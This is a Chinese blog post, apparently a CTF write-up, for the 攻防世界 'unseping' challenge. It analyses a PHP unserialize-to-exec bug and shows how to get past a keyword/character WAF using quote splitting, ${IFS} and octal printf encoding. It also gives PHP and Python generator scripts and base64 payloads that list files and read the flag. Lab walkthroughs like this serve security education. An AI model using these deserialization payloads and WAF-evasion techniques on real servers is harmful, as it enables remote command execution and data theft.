当前位置: 首页 > article >正文

攻防世界 unseping

unseping

攻防世界web新手练习 -unseping_攻防世界web新手题unseping-CSDN博客

这道题对我来说还是有点难,什么oct绕过命令执行第一次遇到捏,所以基本是跟着别人的wp写的,一点点记录吧

先对源码进行分析

<?php
highlight_file(__FILE__);

//定义了一个ease类
class ease{
    
    private $method;
    private $args;
//php魔术方法,构造函数,在创建对象的时候进行初始化对象,即为对象成员变量赋初始值
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

//析构函数,在对象结束的时候触发此函数
//array()创建了一个数组,看method参数是否为ping
//call_user_func_array:把第一个参数作为回调参数(callback)来使用,把参数数组作(param_arr)为回调函数的的参数传入;
//比如call_user_func_array("ping","127.0.0.1") 执行命令 ping 127.0.0.1
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

//执行ip这个参数
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

//过滤函数,过滤了一些特殊符号和关键字
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }

//在执行unserialize()时,会先调用这个函数
//遍历传入的数组
//将其出传入的数组放在waf函数中进行过滤
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

img

好啦,差不多分析完了

可以先写个php脚本

  • 第一个参数为ping
  • 第二个参数为执行的命令
<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a = new ease("ping",array("ifconfig"));
$b = serialize($a);
echo"<br>";
echo base64_encode($b)
?>

得到

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo4OiJpZmNvbmZpZyI7fX0

可以发现该命令能成功执行

img

但是因为有限制,所以接下来我们要思考怎么绕过命令,然后执行

我们需要的命令是ping ls但是ls有过滤,所以可以用空环境变量来进行绕过

  • '
  • "
  • ${Z}

这里可以使用双引号来进行绕过

<?php
class ease
{
    private $method;
    private $args;

    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('l""s'));
$b=serialize($a);
echo'<br>';
echo base64_encode($b);

?>

得到:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ

img

发现有个flag_1s_here,注意这是个目录而不是单个文件,所以用ls来获取

cat命令用于查看文件内容,也可以查看单个文件、合并文件和创建文件

ls命令用于列出文件和子目录,可以显示当前目录下的文件和子目录

命令为l""s${IFS}f""lag_1s_here记得改绕过的地方要绕过

题目中还有空格绕过和flag绕过

img

发现有个flag_831b69012c67b35f.php

此时我们需要执行的命令为cat flag_1s_here/flag_831b69012c67b35f.php

要将/绕过

oct绕过命令执行

$(printf "\154\163")`,所以编写成`$(printf "cat flag_1s_here/flag_831b69012c67b35f.php")

编写脚本对命令进行ascii码然后八进制转换

str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
#对字符先转换为ASCII码,再转换为八进制
    lett = oct(ord(i))
    #这个主要是为了将八进制前面的0o替换掉
    lett=str(lett).replace("0o","")
    arr.append(lett)
sym = "\\"
# print(arr)
#将所有的八进制组合,最终的结果第一个地方应该再添加一个\
ccc=sym.join(arr)
print(ccc)

得到

143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
<?php
class ease
{
    private $method;
    private $args;

    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b=serialize($a);
echo'<br>';
echo base64_encode($b);

?>

payload为:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

http://www.kler.cn/a/292873.html

相关文章:

  • 【前端】Vue中如何避免出现内存泄漏
  • 移动端【01】面试系统的MVVM重构实践
  • MySQL Workbench导入数据比mysql命令行慢
  • [Docker#8] 容器配置 | Mysql | Redis | C++ | 资源控制 | 命令对比
  • 【Hadoop实训】Hive 数据操作①
  • 应对JSON解析键值对乱序问题的实用解决方案
  • 回归预测|基于粒子群优化核极限学习机PSO-KELM结合Adaboost集成的数据预测Matlab程序 多特征输入单输出
  • 使用 TinyML 和云支持的自动部署实现可持续个性化的设备内人体活动识别
  • PostgreSQL 12.2 版本升级到 16.4 版本
  • 【GC】垃圾回收原理分析
  • 维度不固定的多维数组形参笔记
  • 什么是AIGC?什么是AGI?
  • P8687 [蓝桥杯 2019 省 A] 糖果
  • 苹果mac数据恢复概率大吗 mac数据恢复专业软件哪个好用
  • Pyspark DataFrame常用操作函数和示例
  • javascript中数组遍历的所有方法
  • 云计算之云原生(下)
  • 【电机控制】TC275芯片——ADC外设驱动的配置与实现
  • RK3566/RK3568 Android 11 动态禁止/启用APP
  • 深度学习(二)-损失函数+梯度下降
  • SprinBoot+Vue食堂预约点餐微信小程序的设计与实现
  • 数据手册参数识别后手动确认
  • FFmpeg源码:av_rescale_rnd、av_rescale_q_rnd、av_rescale_q、av_add_stable函数分析
  • 手机扬声器音量总是不够大?试试“扬声器助推器”吧
  • 仕考网:公务员笔试和面试哪个难?
  • CSS-transform【下】(3D转换)【看这一篇就够了!!!】